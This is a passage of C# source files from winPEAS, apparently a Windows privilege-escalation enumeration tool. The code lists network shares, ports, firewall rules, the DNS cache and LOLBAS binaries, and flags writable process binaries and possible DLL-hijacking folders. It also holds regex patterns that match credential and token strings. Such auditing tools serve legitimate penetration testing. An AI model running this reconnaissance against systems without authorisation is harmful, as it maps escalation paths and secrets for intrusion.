HH:mm:ss\");\n                    formattedDateString = $\"({formattedDate})\";\n                }\n\n                Beaprint.NoColorPrint($\"          {mpSub.Key,-40} {mpSub.Value,-50} {formattedDateString}\");\n            }\n\n            Beaprint.MainPrint(\"Enumerating Office 365 endpoints synced by OneDrive.\\n\", \"T1083\");\n\n            try\n            {\n                var infos = Office.GetCloudSyncProviderInfos();\n\n                foreach (var info in infos)\n                {\n                    Beaprint.NoColorPrint($\"    SID: {info.Sid}\");\n\n                    var odspInfo = info.OneDriveSyncProviderInfo;\n\n                    foreach (var item in odspInfo.OneDriveList)\n                    {\n                        if (item.Value.Count > 0)\n                        {\n\n                            string accName = item.Key;\n                            Beaprint.NoColorPrint($\"      Name:  {accName}\");\n\n                            foreach (var subItem in item.Value)\n                            {\n                                Beaprint.NoColorPrint($\"        {subItem.Key,-40}   {subItem.Value}\");\n                            }\n\n                            // mount points\n                            foreach (string mp in odspInfo.AccountToMountpointDict[accName])\n                            {\n                                Beaprint.NoColorPrint(\"\");\n\n                                if (odspInfo.MpList.ContainsKey(mp))\n                                {\n                                    foreach (var mpSub in odspInfo.MpList[mp])\n                                    {\n                                        PrintItem(mpSub);\n                                    }\n                                }\n                            }\n                        }\n                    }\n\n                    // iterate Orphaned accounts\n                    var allScopeIds = new List<string>(odspInfo.MpList.Keys);\n                    var orphanedScopeIds = new HashSet<string>();\n\n                    foreach (var scopeId in allScopeIds.Where(scopeId => !odspInfo.UsedScopeIDs.Contains(scopeId)))\n                    {\n                        orphanedScopeIds.Add(scopeId);\n                    }\n\n                    if (orphanedScopeIds.Count > 0)\n                    {\n                        Beaprint.ColorPrint(\"\\n    Orphaned items\", Beaprint.LBLUE);\n\n                        foreach (string scopeId in orphanedScopeIds)\n                        {\n                            foreach (var mpSub in odspInfo.MpList[scopeId])\n                            {\n                                PrintItem(mpSub);\n                            }\n                            Beaprint.NoColorPrint(\"\");\n                        }\n                    }\n\n                    Beaprint.PrintLineSeparator();\n                }\n            }\n            catch (Exception ex)\n            {\n            }\n        }\n\n        private static void PrintLOLBAS()\n        {\n            try\n            {\n                Beaprint.MainPrint(\"Looking for LOL Binaries and Scripts (can be slow)\", \"T1218\");\n                Beaprint.LinkPrint(\"https://lolbas-project.github.io/\");\n\n                if (!Checks.IsLolbas)\n                {\n                    Beaprint.ColorPrint(\"   [!] Check skipped, if you want to run it, please specify '-lolbas' argument\", Beaprint.YELLOW);\n\n                    return;\n                }\n\n                var systemDrive = $\"{Environment.GetEnvironmentVariable(\"SystemDrive\")}\\\\\";\n\n                string rootUsersSearchPath = $\"{systemDrive}\\\\users\";\n                string documentsAndSettings = $\"{systemDrive}\\\\documents and settings\";\n\n                var excludedDirs = new HashSet<string>()\n                {\n                    @\"c:\\esupport\",\n                    @\"c:\\perflogs\",\n                    @\"c:\\programdata\",\n                    @\"c:\\program files (x86)\",\n                    @\"c:\\program files\",\n                    //@\"c:\\windows\",\n                    //@\"c:\\windows.old\",\n                    rootUsersSearchPath,\n                    documentsAndSettings\n                };\n\n                var files = SearchHelper.GetFilesFast(systemDrive, \"*\", excludedDirs);\n\n                files.AddRange(SearchHelper.RootDirUsers);\n                files.AddRange(SearchHelper.DocumentsAndSettings);\n                files.AddRange(SearchHelper.ProgramFiles);\n                files.AddRange(SearchHelper.ProgramFilesX86);\n\n                foreach (var file in files)\n                {\n                    if (LOLBAS.FileWithExtension.Contains(file.Filename.ToLower()))\n                    {\n                        Beaprint.BadPrint($\"    {file.FullPath}\");\n                    }\n                }\n            }\n            catch (Exception ex)\n            {\n            }\n        }\n    }\n}\n"
  },
  {
    "path": "winPEAS/winPEASexe/winPEAS/Checks/Globals.cs",
    "content": "﻿namespace winPEAS.Checks\n{\n    internal static class Globals\n    {\n        public static string StrTrue = \"True\";\n        public static string StrFalse = \"False\";\n        public static readonly string PrintCredStringsLimited = \"[pP][aA][sS][sS][wW][a-zA-Z0-9_-]*|[pP][wW][dD][a-zA-Z0-9_-]*|[nN][aA][mM][eE]|[lL][oO][gG][iI][nN]|[cC][oO][nN][tT][rR][aA][sS][eE][a-zA-Z0-9_-]*|[cC][rR][eE][dD][eE][nN][tT][iI][aA][lL][a-zA-Z0-9_-]*|[aA][pP][iI]|[tT][oO][kK][eE][nN]|[sS][eE][sS][sS][a-zA-Z0-9_-]*\";\n        public static readonly string PrintCredStrings = PrintCredStringsLimited + \"|[uU][sS][eE][rR][a-zA-Z0-9_-]*\";\n    }\n}\n"
  },
  {
    "path": "winPEAS/winPEASexe/winPEAS/Checks/ISystemCheck.cs",
    "content": "﻿namespace winPEAS.Checks\n{\n    public interface ISystemCheck\n    {\n        void PrintInfo(bool isDebug);\n\n        /// <summary>\n        /// MITRE ATT&amp;CK technique IDs associated with this check category\n        /// (e.g. new[] { \"T1082\", \"T1548.002\" }).\n        /// </summary>\n        string[] MitreAttackIds { get; }\n    }\n}\n"
  },
  {
    "path": "winPEAS/winPEASexe/winPEAS/Checks/NetworkInfo.cs",
    "content": "﻿using System;\nusing System.Collections.Generic;\nusing System.Diagnostics;\nusing System.IO;\nusing System.Linq;\nusing System.Management;\nusing winPEAS.Helpers;\nusing winPEAS.Helpers.Extensions;\nusing winPEAS.Info.NetworkInfo;\nusing winPEAS.Info.NetworkInfo.Enums;\nusing winPEAS.Info.NetworkInfo.InternetSettings;\nusing winPEAS.Info.NetworkInfo.NetworkScanner;\n\nnamespace winPEAS.Checks\n{\n    internal class NetworkInfo : ISystemCheck\n    {\n        static string commonShares = \"[a-zA-Z]+[$]\";\n        static string badIps = \"127.0.0.1\";\n\n        static Dictionary<string, string> colorsN = new Dictionary<string, string>()\n        {\n            { badIps, Beaprint.ansi_color_bad },\n            { @\"\\[\\:\\:1\\]\", Beaprint.ansi_color_bad },\n            { @\"\\[\\:\\:\\]\", Beaprint.ansi_color_bad },\n        };\n\n        public string[] MitreAttackIds { get; } = new[] { \"T1016\", \"T1049\", \"T1135\", \"T1046\", \"T1018\", \"T1090\" };\n\n        public void PrintInfo(bool isDebug)\n        {\n            Beaprint.GreatPrint(\"Network Information\", \"T1016,T1049,T1135,T1046,T1018,T1090\");\n\n            // Base checklist\n            var checks = new List<Action>\n            {\n                PrintNetShares,\n                PrintMappedDrivesWMI,\n                PrintHostsFile,\n                PrintNetworkIfaces,\n                PrintListeningPorts,\n                PrintFirewallRules,\n                PrintDNSCache,\n                PrintInternetSettings,\n                PrintInternetConnectivity\n            };\n\n            // **Add hostname‑resolution check only when requested**\n            if (!Checks.DontCheckHostname)\n                checks.Add(PrintHostnameResolution);\n\n            // **Run every selected check**\n            foreach (var action in checks)\n                CheckRunner.Run(action, isDebug);\n        }\n\n        private void PrintNetShares()\n        {\n            try\n            {\n                Beaprint.MainPrint(\"Network Shares\", \"T1135\");\n                Dictionary<string, string> colorsN = new Dictionary<string, string>()\n                {\n                    { commonShares, Beaprint.ansi_color_good },\n                    { \"Permissions.*\", Beaprint.ansi_color_bad }\n                };\n\n                List<Dictionary<string, string>> shares = NetworkInfoHelper.GetNetworkShares(\"127.0.0.1\");\n\n                foreach (Dictionary<string, string> share in shares)\n                {\n                    string line = string.Format(\"    {0} (\" + Beaprint.ansi_color_gray + \"Path: {1}\" + Beaprint.NOCOLOR + \")\", share[\"Name\"], share[\"Path\"]);\n                    if (share[\"Permissions\"].Length > 0)\n                    {\n                        line += \" -- Permissions: \" + share[\"Permissions\"];\n                    }\n                    Beaprint.AnsiPrint(line, colorsN);\n                }\n            }\n            catch (Exception ex)\n            {\n                Beaprint.PrintException(ex.Message);\n            }\n        }\n\n        private void PrintHostsFile()\n        {\n            try\n            {\n                Beaprint.MainPrint(\"Host File\", \"T1016\");\n                string[] lines = File.ReadAllLines(@Path.GetPathRoot(Environment.SystemDirectory) + @\"\\windows\\system32\\drivers\\etc\\hosts\");\n\n                foreach (string line in lines)\n                {\n                    if (line.Length > 0 && line[0] != '#')\n                    {\n                        Console.WriteLine(\"    \" + line.Replace(\"\\t\", \"    \"));\n                    }\n                }\n            }\n            catch (Exception ex)\n            {\n                Beaprint.PrintException(ex.Message);\n            }\n        }\n\n        private void PrintNetworkIfaces()\n        {\n            try\n            {\n                Beaprint.MainPrint(\"Network Ifaces and known hosts\", \"T1016,T1018\");\n                Beaprint.LinkPrint(\"\", \"The masks are only for the IPv4 addresses\");\n                foreach (Dictionary<string, string> card in NetworkInfoHelper.GetNetCardInfo())\n                {\n                    string formString = \"    {0}[{1}]: {2} / {3}\";\n                    if (card[\"Gateways\"].Length > 1)\n                        formString += \"\\n        \" + Beaprint.ansi_color_gray + \"Gateways: \" + Beaprint.NOCOLOR + \"{4}\";\n                    if (card[\"DNSs\"].Length > 1)\n                        formString += \"\\n        \" + Beaprint.ansi_color_gray + \"DNSs: \" + Beaprint.NOCOLOR + \"{5}\";\n                    if (card[\"arp\"].Length > 1)\n                        formString += \"\\n        \" + Beaprint.ansi_color_gray + \"Known hosts:\" + Beaprint.NOCOLOR + \"\\n{6}\";\n\n                    Console.WriteLine(string.Format(formString, card[\"Name\"], card[\"PysicalAddr\"], card[\"IPs\"], card[\"Netmasks\"].Replace(\", 0.0.0.0\", \"\"), card[\"Gateways\"], card[\"DNSs\"], card[\"arp\"]));\n                }\n            }\n            catch (Exception ex)\n            {\n                Beaprint.PrintException(ex.Message);\n            }\n        }\n\n        private void PrintListeningPorts()\n        {\n            Process[] processes = Process.GetProcesses();\n            Dictionary<int, Process> processesByPid = processes.ToDictionary(k => k.Id, v => v);\n\n            PrintListeningPortsTcp(processesByPid);\n            PrintListeningPortsUdp(processesByPid);\n        }\n\n        private void PrintListeningPortsTcp(Dictionary<int, Process> processesByPid)\n        {\n            Beaprint.MainPrint(\"Current TCP Listening Ports\", \"T1049\");\n            Beaprint.LinkPrint(\"\", \"Check for services restricted from the outside\");\n\n            PrintListeningPortsTcpIPv4(processesByPid);\n            Beaprint.ColorPrint(\"\", Beaprint.NOCOLOR);\n            PrintListeningPortsTcpIPv6(processesByPid);\n        }\n\n        private void PrintListeningPortsTcpIPv4(Dictionary<int, Process> processesByPid)\n        {\n            try\n            {\n                Beaprint.ColorPrint(\"  Enumerating IPv4 connections\\n\", Beaprint.LBLUE);\n\n                string formatString = @\"{0,-12} {1,-21} {2,-13} {3,-21} {4,-15} {5,-17} {6,-15} {7}\";\n\n                Beaprint.NoColorPrint(\n                    string.Format($\"{formatString}\\n\", \"  Protocol\", \"Local Address\", \"Local Port\", \"Remote Address\", \"Remote Port\", \"State\", \"Process ID\", \"Process Name\"));\n\n                foreach (var tcpConnectionInfo in NetworkInfoHelper.GetTcpConnections(IPVersion.IPv4, processesByPid))\n                {\n                    Beaprint.AnsiPrint(\n                        string.Format(formatString,\n                                       \"  TCP\",\n                                       tcpConnectionInfo.LocalAddress,\n                                       tcpConnectionInfo.LocalPort,\n                                       tcpConnectionInfo.RemoteAddress,\n                                       tcpConnectionInfo.RemotePort,\n                                       tcpConnectionInfo.State.GetDescription(),\n                                       tcpConnectionInfo.ProcessId,\n                                       tcpConnectionInfo.ProcessName\n                                     ),\n                                     colorsN);\n                }\n            }\n            catch (Exception ex)\n            {\n                Beaprint.PrintException(ex.Message);\n            }\n        }\n\n        private void PrintListeningPortsTcpIPv6(Dictionary<int, Process> processesByPid)\n        {\n            try\n            {\n                Beaprint.ColorPrint(\"  Enumerating IPv6 connections\\n\", Beaprint.LBLUE);\n\n                string formatString = @\"{0,-12} {1,-43} {2,-13} {3,-43} {4,-15} {5,-17} {6,-15} {7}\";\n\n                Beaprint.NoColorPrint(\n                    string.Format($\"{formatString}\\n\", \"  Protocol\", \"Local Address\", \"Local Port\", \"Remote Address\", \"Remote Port\", \"State\", \"Process ID\", \"Process Name\"));\n\n                foreach (var tcpConnectionInfo in NetworkInfoHelper.GetTcpConnections(IPVersion.IPv6, processesByPid))\n                {\n                    Beaprint.AnsiPrint(\n                        string.Format(formatString,\n                                       \"  TCP\",\n                                       $\"[{tcpConnectionInfo.LocalAddress}]\",\n                                       tcpConnectionInfo.LocalPort,\n                                       $\"[{tcpConnectionInfo.RemoteAddress}]\",\n                                       tcpConnectionInfo.RemotePort,\n                                       tcpConnectionInfo.State.GetDescription(),\n                                       tcpConnectionInfo.ProcessId,\n                                       tcpConnectionInfo.ProcessName\n                                     ),\n                                     colorsN);\n                }\n            }\n            catch (Exception ex)\n            {\n                Beaprint.PrintException(ex.Message);\n            }\n        }\n\n        private void PrintListeningPortsUdp(Dictionary<int, Process> processesByPid)\n        {\n            Beaprint.MainPrint(\"Current UDP Listening Ports\", \"T1049\");\n            Beaprint.LinkPrint(\"\", \"Check for services restricted from the outside\");\n\n            PrintListeningPortsUdpIPv4(processesByPid);\n            Beaprint.ColorPrint(\"\", Beaprint.NOCOLOR);\n            PrintListeningPortsUdpIPv6(processesByPid);\n        }\n\n        private void PrintListeningPortsUdpIPv4(Dictionary<int, Process> processesByPid)\n        {\n            try\n            {\n                Beaprint.ColorPrint(\"  Enumerating IPv4 connections\\n\", Beaprint.LBLUE);\n\n                string formatString = @\"{0,-12} {1,-21} {2,-13} {3,-30} {4,-17} {5}\";\n\n                Beaprint.NoColorPrint(\n                    string.Format($\"{formatString}\\n\", \"  Protocol\", \"Local Address\", \"Local Port\", \"Remote Address:Remote Port\", \"Process ID\", \"Process Name\"));\n\n                foreach (var udpConnectionInfo in NetworkInfoHelper.GetUdpConnections(IPVersion.IPv4, processesByPid))\n                {\n                    if (udpConnectionInfo.ProcessName == \"dns\") // Hundreds of them sometimes\n                    {\n                        continue;\n                    }\n\n                    Beaprint.AnsiPrint(\n                        string.Format(formatString,\n                                       \"  UDP\",\n                                       udpConnectionInfo.LocalAddress,\n                                       udpConnectionInfo.LocalPort,\n                                       \"*:*\",   // UDP does not have remote address/port\n                                       udpConnectionInfo.ProcessId,\n                                       udpConnectionInfo.ProcessName\n                                     ),\n                                     colorsN);\n                }\n            }\n            catch (Exception ex)\n            {\n                Beaprint.PrintException(ex.Message);\n            }\n        }\n\n        private void PrintListeningPortsUdpIPv6(Dictionary<int, Process> processesByPid)\n        {\n            try\n            {\n                Beaprint.ColorPrint(\"  Enumerating IPv6 connections\\n\", Beaprint.LBLUE);\n\n                string formatString = @\"{0,-12} {1,-43} {2,-13} {3,-30} {4,-17} {5}\";\n\n                Beaprint.NoColorPrint(\n                    string.Format($\"{formatString}\\n\", \"  Protocol\", \"Local Address\", \"Local Port\", \"Remote Address:Remote Port\", \"Process ID\", \"Process Name\"));\n\n                foreach (var udpConnectionInfo in NetworkInfoHelper.GetUdpConnections(IPVersion.IPv6, processesByPid))\n                {\n                    if (udpConnectionInfo.ProcessName == \"dns\") // Hundreds of them sometimes\n                    {\n                        continue;\n                    }\n\n                    Beaprint.AnsiPrint(\n                        string.Format(formatString,\n                                       \"  UDP\",\n                                       $\"[{udpConnectionInfo.LocalAddress}]\",\n                                       udpConnectionInfo.LocalPort,\n                                       \"*:*\",   // UDP does not have remote address/port\n                                       udpConnectionInfo.ProcessId,\n                                       udpConnectionInfo.ProcessName\n                                     ),\n                                     colorsN);\n                }\n            }\n            catch (Exception ex)\n            {\n                Beaprint.PrintException(ex.Message);\n            }\n        }\n\n        private void PrintFirewallRules()\n        {\n            try\n            {\n                Beaprint.MainPrint(\"Firewall Rules\", \"T1016\");\n                Beaprint.LinkPrint(\"\", \"Showing only DENY rules (too many ALLOW rules always)\");\n                Dictionary<string, string> colorsN = new Dictionary<string, string>()\n                        {\n                            { Globals.StrFalse, Beaprint.ansi_color_bad },\n                            { Globals.StrTrue, Beaprint.ansi_color_good },\n                        };\n\n                Beaprint.AnsiPrint(\"    Current Profiles: \" + Firewall.GetFirewallProfiles(), colorsN);\n                foreach (KeyValuePair<string, string> entry in Firewall.GetFirewallBooleans())\n                {\n                    Beaprint.AnsiPrint(string.Format(\"    {0,-23}:    {1}\", entry.Key, entry.Value), colorsN);\n                }\n\n                Beaprint.GrayPrint(\"    DENY rules:\");\n                foreach (Dictionary<string, string> rule in Firewall.GetFirewallRules())\n                {\n                    string filePerms = string.Join(\", \", PermissionsHelper.GetPermissionsFile(rule[\"AppName\"], Checks.CurrentUserSiDs));\n                    string folderPerms = string.Join(\", \", PermissionsHelper.GetPermissionsFolder(rule[\"AppName\"], Checks.CurrentUserSiDs));\n                    string formString = \"    ({0}){1}[{2}]: {3} {4} {5} from {6} --> {7}\";\n                    if (filePerms.Length > 0)\n                        formString += \"\\n    File Permissions: {8}\";\n                    if (folderPerms.Length > 0)\n                        formString += \"\\n    Folder Permissions: {9}\";\n                    formString += \"\\n    {10}\";\n\n                    colorsN = new Dictionary<string, string>\n                    {\n                        { Globals.StrFalse, Beaprint.ansi_color_bad },\n                        { Globals.StrTrue, Beaprint.ansi_color_good },\n                        { \"File Permissions.*|Folder Permissions.*\", Beaprint.ansi_color_bad },\n                        { rule[\"AppName\"].Replace(\"\\\\\", \"\\\\\\\\\").Replace(\"(\", \"\\\\(\").Replace(\")\", \"\\\\)\").Replace(\"]\", \"\\\\]\").Replace(\"[\", \"\\\\[\").Replace(\"?\", \"\\\\?\").Replace(\"+\",\"\\\\+\"), (filePerms.Length > 0 || folderPerms.Length > 0) ? Beaprint.ansi_color_bad : Beaprint.ansi_color_good },\n                    };\n\n                    Beaprint.AnsiPrint(string.Format(formString, rule[\"Profiles\"], rule[\"Name\"], rule[\"AppName\"], rule[\"Action\"], rule[\"Protocol\"], rule[\"Direction\"], rule[\"Direction\"] == \"IN\" ? rule[\"Local\"] : rule[\"Remote\"], rule[\"Direction\"] == \"IN\" ? rule[\"Remote\"] : rule[\"Local\"], filePerms, folderPerms, rule[\"Description\"]), colorsN);\n                }\n            }\n            catch (Exception ex)\n            {\n                Beaprint.PrintException(ex.Message);\n            }\n        }\n\n        private void PrintDNSCache()\n        {\n            try\n            {\n                Beaprint.MainPrint(\"DNS cached --limit 70--\", \"T1016\");\n                Beaprint.GrayPrint(string.Format(\"    {0,-38}{1,-38}{2}\", \"Entry\", \"Name\", \"Data\"));\n                List<Dictionary<string, string>> DNScache = NetworkInfoHelper.GetDNSCache();\n                foreach (Dictionary<string, string> entry in MyUtils.GetLimitedRange(DNScache, 70))\n                {\n                    Console.WriteLine($\"    {entry[\"Entry\"],-38}{entry[\"Name\"],-38}{entry[\"Data\"]}\");\n                }\n            }\n            catch (Exception ex)\n            {\n                Beaprint.PrintException(ex.Message);\n            }\n        }\n\n        private static void PrintMappedDrivesWMI()\n        {\n            try\n            {\n                Beaprint.MainPrint(\"Enumerate Network Mapped Drives (WMI)\", \"T1135\");\n\n                using (var wmiData = new ManagementObjectSearcher(@\"root\\cimv2\", \"SELECT * FROM win32_networkconnection\"))\n                {\n                    using (var data = wmiData.Get())\n                    {\n                        foreach (ManagementObject result in data)\n                        {\n                            Beaprint.NoColorPrint($\"   Local Name         :       {result[\"LocalName\"]}\\n\" +\n                                                        $\"   Remote Name        :       {result[\"RemoteName\"]}\\n\" +\n                                                        $\"   Remote Path        :       {result[\"RemotePath\"]}\\n\" +\n                                                        $\"   Status             :       {result[\"Status\"]}\\n\" +\n                                                        $\"   Connection State   :       {result[\"ConnectionState\"]}\\n\" +\n                                                        $\"   Persistent         :       {result[\"Persistent\"]}\\n\" +\n                                                        $\"   UserName           :       {result[\"UserName\"]}\\n\" +\n                                                        $\"   Description        :       {result[\"Description\"]}\\n\");\n\n                            Beaprint.PrintLineSeparator();\n                        }\n                    }\n                }\n            }\n            catch (Exception e)\n            {\n            }\n        }\n\n        private static void PrintInternetSettings()\n        {\n            try\n            {\n                Beaprint.MainPrint(\"Enumerating Internet settings, zone and proxy configuration\", \"T1090\");\n\n                var info = InternetSettings.GetInternetSettingsInfo();\n\n                Beaprint.ColorPrint(\"  General Settings\", Beaprint.LBLUE);\n                Beaprint.NoColorPrint($\"  {\"Hive\",-10}  {\"Key\",-40}  {\"Value\"}\");\n\n                foreach (var i in info.GeneralSettings)\n                {\n                    Beaprint.NoColorPrint($\"  {i.Hive,-10}  {i.ValueName,-40}  {i.Value}\");\n                }\n\n                Beaprint.ColorPrint(\"\\n  Zone Maps\", Beaprint.LBLUE);\n\n                if (info.ZoneMaps.Count == 0)\n                {\n                    Beaprint.NoColorPrint(\"  No URLs configured\");\n                }\n                else\n                {\n                    Beaprint.NoColorPrint($\"  {\"Hive\",-10}  {\"Value Name\",-40}  {\"Interpretation\"}\");\n\n                    foreach (var i in info.ZoneMaps)\n                    {\n                        Beaprint.NoColorPrint($\"  {i.Hive,-10}  {i.ValueName,-40}  {i.Interpretation}\");\n                    }\n                }\n\n                Beaprint.ColorPrint(\"\\n  Zone Auth Settings\", Beaprint.LBLUE);\n                if (info.ZoneAuthSettings.Count == 0)\n                {\n                    Beaprint.NoColorPrint(\"  No Zone Auth Settings\");\n                }\n                else\n                {\n                    foreach (var i in info.ZoneAuthSettings)\n                    {\n                        Beaprint.NoColorPrint($\"  {i.Interpretation}\");\n                    }\n                }\n            }\n            catch (Exception ex)\n            {\n            }\n        }\n\n        private void PrintInternetConnectivity()\n        {\n            try\n            {\n                Beaprint.MainPrint(\"Internet Connectivity\", \"T1016\");\n                Beaprint.LinkPrint(\"\", \"Checking if internet access is possible via different methods\");\n\n                var connectivityInfo = InternetConnectivity.CheckConnectivity();\n\n                // HTTP Access\n                var colorsBool = new Dictionary<string, string>\n                        {\n                            { \"Accessible\", Beaprint.ansi_color_good },\n                            { \"Not Accessible\", Beaprint.ansi_color_bad },\n                };\n                Beaprint.AnsiPrint($\"    HTTP (80) Access: {(connectivityInfo.HttpAccess ? \"Accessible\" : \"Not Accessible\")}\", colorsBool);\n                if (!connectivityInfo.HttpAccess && !string.IsNullOrEmpty(connectivityInfo.HttpError))\n                {\n                    Beaprint.PrintException($\"      Error: {connectivityInfo.HttpError}\");\n                }\n\n                // HTTPS Access\n                Beaprint.AnsiPrint($\"    HTTPS (443) Access: {(connectivityInfo.HttpsAccess ? \"Accessible\" : \"Not Accessible\")}\", colorsBool);\n                if (!connectivityInfo.HttpsAccess && !string.IsNullOrEmpty(connectivityInfo.HttpsError))\n                {\n                    Beaprint.PrintException($\"      Error: {connectivityInfo.HttpsError}\");\n                }\n\n                // HTTPS By Domain Name\n                Beaprint.AnsiPrint($\"    HTTPS (443) Access by Domain Name: {(connectivityInfo.LambdaAccess ? \"Accessible\" : \"Not Accessible\")}\", colorsBool);\n                if (!connectivityInfo.LambdaAccess && !string.IsNullOrEmpty(connectivityInfo.LambdaError))\n                {\n                    Beaprint.PrintException($\"      Error: {connectivityInfo.LambdaError}\");\n                }\n\n                // DNS Access\n                Beaprint.AnsiPrint($\"    DNS (53) Access: {(connectivityInfo.DnsAccess ? \"Accessible\" : \"Not Accessible\")}\", colorsBool);\n                if (!connectivityInfo.DnsAccess && !string.IsNullOrEmpty(connectivityInfo.DnsError))\n                {\n                    Beaprint.PrintException($\"      Error: {connectivityInfo.DnsError}\");\n                }\n\n                // ICMP Access\n                Beaprint.AnsiPrint($\"    ICMP (ping) Access: {(connectivityInfo.IcmpAccess ? \"Accessible\" : \"Not Accessible\")}\", colorsBool);\n                if (!connectivityInfo.IcmpAccess && !string.IsNullOrEmpty(connectivityInfo.IcmpError))\n                {\n                    Beaprint.PrintException($\"      Error: {connectivityInfo.IcmpError}\");\n                }\n            }\n            catch (Exception ex)\n            {\n                Beaprint.PrintException(ex.Message);\n            }\n        }\n\n        private void PrintHostnameResolution()\n        {\n            try\n            {\n                Beaprint.MainPrint(\"Hostname Resolution\", \"T1016\");\n                Beaprint.LinkPrint(\"\", \"Checking if the hostname can be resolved externally\");\n\n                var resolutionInfo = HostnameResolution.TryExternalCheck();\n\n                if (!string.IsNullOrEmpty(resolutionInfo.ExternalCheckResult))\n                {\n                    Beaprint.GoodPrint($\"    External Check Result:\");\n                    Beaprint.NoColorPrint(resolutionInfo.ExternalCheckResult);\n                }\n                else if (!string.IsNullOrEmpty(resolutionInfo.Error))\n                {\n                    Beaprint.PrintException($\"    {resolutionInfo.Error}\");\n                }\n            }\n            catch (Exception ex)\n            {\n                Beaprint.PrintException(ex.Message);\n            }\n        }\n\n        internal void PrintNetworkScan()\n        {\n            try\n            {\n                Beaprint.MainPrint(\"Network Scan\", \"T1046\");\n                Beaprint.LinkPrint(\"\", \"Scanning for alive hosts and open TCP ports (this may take some time)\");\n\n                var scanner = new NetworkScanner(Checks.NetworkScanOptions, Checks.PortScannerPorts);\n                scanner.Scan();\n            }\n            catch (Exception ex)\n            {\n                Beaprint.PrintException(ex.Message);\n            }\n        }\n    }\n}\n"
  },
  {
    "path": "winPEAS/winPEASexe/winPEAS/Checks/NetworkScanCheck.cs",
    "content": "using winPEAS.Helpers;\n\nnamespace winPEAS.Checks\n{\n    /// <summary>\n    /// Dedicated system check for the -network scan.\n    /// Registered as \"networkscan\" so that passing -network alongside a subset of\n    /// checks (e.g. \"systeminfo -network=auto\") runs only the scan and not the full\n    /// NetworkInfo sub-checks (shares, firewall rules, DNS cache, etc.).\n    /// When all checks run (no subset selected), this check silently no-ops unless\n    /// -network was explicitly passed.\n    /// </summary>\n    internal class NetworkScanCheck : ISystemCheck\n    {\n        public string[] MitreAttackIds { get; } = new[] { \"T1046\" };\n\n        public void PrintInfo(bool isDebug)\n        {\n            if (!Checks.IsNetworkScan)\n                return;\n\n            CheckRunner.Run(new NetworkInfo().PrintNetworkScan, isDebug);\n        }\n    }\n}\n"
  },
  {
    "path": "winPEAS/winPEASexe/winPEAS/Checks/ProcessInfo.cs",
    "content": "﻿using System;\nusing System.Collections.Generic;\nusing System.IO;\nusing winPEAS.Helpers;\nusing winPEAS.Info.ProcessInfo;\n\nnamespace winPEAS.Checks\n{\n    internal class ProcessInfo : ISystemCheck\n    {\n        public string[] MitreAttackIds { get; } = new[] { \"T1057\", \"T1134.001\" };\n\n        public void PrintInfo(bool isDebug)\n        {\n            Beaprint.GreatPrint(\"Processes Information\", \"T1057,T1134.001\");\n\n            new List<Action>\n            {\n                PrintInterestingProcesses,\n                PrintVulnLeakedHandlers,\n            }.ForEach(action => CheckRunner.Run(action, isDebug));\n        }\n\n        void PrintInterestingProcesses()\n        {\n            try\n            {\n                Beaprint.MainPrint(\"Interesting Processes -non Microsoft-\", \"T1057\");\n                Beaprint.LinkPrint(\"https://book.hacktricks.wiki/en/windows-hardening/windows-local-privilege-escalation/index.html#running-processes\", \"Check if any interesting processes for memory dump or if you could overwrite some binary running\");\n                List<Dictionary<string, string>> processesInfo = ProcessesInfo.GetProcInfo();\n\n                foreach (Dictionary<string, string> procInfo in processesInfo)\n                {\n                    Dictionary<string, string> colorsP = new Dictionary<string, string>()\n                        {\n                            { \" \" + Checks.CurrentUserName, Beaprint.ansi_current_user },\n                            { \"Permissions:.*\", Beaprint.ansi_color_bad },\n                            { \"Possible DLL Hijacking.*\", Beaprint.ansi_color_bad },\n                        };\n\n                    // we need to find first occurrence of the procinfo name\n                    string processNameSanitized = procInfo[\"Name\"].Trim().ToLower();\n\n                    if (DefensiveProcesses.AVVendorsByProcess.ContainsKey(processNameSanitized))\n                    {\n                        if (DefensiveProcesses.AVVendorsByProcess[processNameSanitized].Count > 0)\n                        {\n                            procInfo[\"Product\"] = string.Join(\", \", DefensiveProcesses.AVVendorsByProcess[processNameSanitized]);\n                        }\n                        colorsP[procInfo[\"Product\"]] = Beaprint.ansi_color_good;\n                    }\n                    else if (InterestingProcesses.Definitions.ContainsKey(procInfo[\"Name\"]))\n                    {\n                        if (!string.IsNullOrEmpty(InterestingProcesses.Definitions[procInfo[\"Name\"]]))\n                        {\n                            procInfo[\"Product\"] = InterestingProcesses.Definitions[procInfo[\"Name\"]];\n                        }\n                        colorsP[procInfo[\"Product\"]] = Beaprint.ansi_color_bad;\n                    }\n\n                    List<string> fileRights = PermissionsHelper.GetPermissionsFile(procInfo[\"ExecutablePath\"], Checks.CurrentUserSiDs);\n                    List<string> dirRights = new List<string>();\n                    if (procInfo[\"ExecutablePath\"] != null && procInfo[\"ExecutablePath\"] != \"\")\n                        dirRights = PermissionsHelper.GetPermissionsFolder(Path.GetDirectoryName(procInfo[\"ExecutablePath\"]), Checks.CurrentUserSiDs);\n\n                    colorsP[procInfo[\"ExecutablePath\"].Replace(\"\\\\\", \"\\\\\\\\\").Replace(\"(\", \"\\\\(\").Replace(\")\", \"\\\\)\").Replace(\"]\", \"\\\\]\").Replace(\"[\", \"\\\\[\").Replace(\"?\", \"\\\\?\").Replace(\"+\", \"\\\\+\") + \"[^\\\"^']\"] = (fileRights.Count > 0 || dirRights.Count > 0) ? Beaprint.ansi_color_bad : Beaprint.ansi_color_good;\n\n                    string formString = \"    {0}({1})[{2}]\";\n                    if (procInfo[\"Product\"] != null && procInfo[\"Product\"].Length > 1)\n                        formString += \": {3}\";\n                    if (procInfo[\"Owner\"].Length > 1)\n                        formString += \" -- POwn: {4}\";\n                    if (procInfo[\"isDotNet\"].Length > 1)\n                        formString += \" -- {5}\";\n                    if (fileRights.Count > 0)\n                        formString += \"\\n    Permissions: {6}\";\n                    if (dirRights.Count > 0)\n                        formString += \"\\n    Possible DLL Hijacking folder: {7} ({8})\";\n                    if (procInfo[\"CommandLine\"].Length > 1)\n                        formString += \"\\n    \" + Beaprint.ansi_color_gray + \"Command Line: {9}\";\n\n\n                    Beaprint.AnsiPrint(string.Format(formString, procInfo[\"Name\"], procInfo[\"ProcessID\"], procInfo[\"ExecutablePath\"], procInfo[\"Product\"], procInfo[\"Owner\"], procInfo[\"isDotNet\"], string.Join(\", \", fileRights), dirRights.Count > 0 ? Path.GetDirectoryName(procInfo[\"ExecutablePath\"]) : \"\", string.Join(\", \", dirRights), procInfo[\"CommandLine\"]), colorsP);\n                    Beaprint.PrintLineSeparator();\n                }\n            }\n            catch (Exception ex)\n            {\n                Beaprint.GrayPrint(ex.Message);\n            